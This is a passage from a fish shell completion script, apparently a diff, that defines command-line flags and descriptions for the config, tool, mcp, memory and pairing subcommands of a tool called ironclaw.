"__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "init" -d 'Generate a default config.toml file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "list" -d 'List all settings and their current values' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "get" -d 'Get a specific setting value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "set" -d 'Set a setting value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "reset" -d 'Reset a setting to its default value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "path" -d 'Show the settings storage info' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "list" -d 'List installed tools' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "remove" -d 'Remove an installed tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "info" -d 'Show information about a tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "auth" -d 'Configure authentication for a tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s n -l name -d 'Tool name (defaults to directory/file name)' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l capabilities -d 'Path to capabilities JSON file (auto-detected if not specified)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s t -l target -d 'Target directory for installation (default: ~/.ironclaw/tools/)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l release -d 'Build in release mode (default: true)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l skip-build -d 'Skip compilation (use existing .wasm file)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s f -l force -d 'Force overwrite if tool already exists' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s d -l dir -d 'Directory to list tools from (default: ~/.ironclaw/tools/)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s d -l dir -d 'Directory to remove tool from (default: ~/.ironclaw/tools/)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the secret (default: "default")' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "list" -d 'List installed tools' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an installed tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "info" -d 'Show information about a tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Configure authentication for a tool' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "add" -d 'Add an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "remove" -d 'Remove an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "list" -d 'List configured MCP servers' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "test" -d 'Test connection to an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "toggle" -d 'Enable or disable an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l client-id -d 'OAuth client ID (if authentication is required)' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l auth-url -d 'OAuth authorization URL (optional, can be discovered)' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l token-url -d 'OAuth token URL (optional, can be discovered)' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l scopes -d 'Scopes to request (comma-separated)' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l description -d 'Server description' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from add" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the token (default: "default")' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s u -l user -d 'User ID for authentication (default: "default")' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l enable -d 'Enable the server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l disable -d 'Disable the server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "add" -d 'Add an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "list" -d 'List configured MCP servers' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "test" -d 'Test connection to an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "toggle" -d 'Enable or disable an MCP server' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "read" -d 'Read a file from the workspace' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "write" -d 'Write content to a workspace file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "tree" -d 'Show workspace directory tree' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "status" -d 'Show workspace status (document count, index health)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s l -l limit -d 'Maximum number of results' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s a -l append -d 'Append instead of overwrite' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s d -l depth -d 'Maximum depth to traverse' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "read" -d 'Read a file from the workspace' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "write" -d 'Write content to a workspace file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "tree" -d 'Show workspace directory tree' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show workspace status (document count, index health)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c 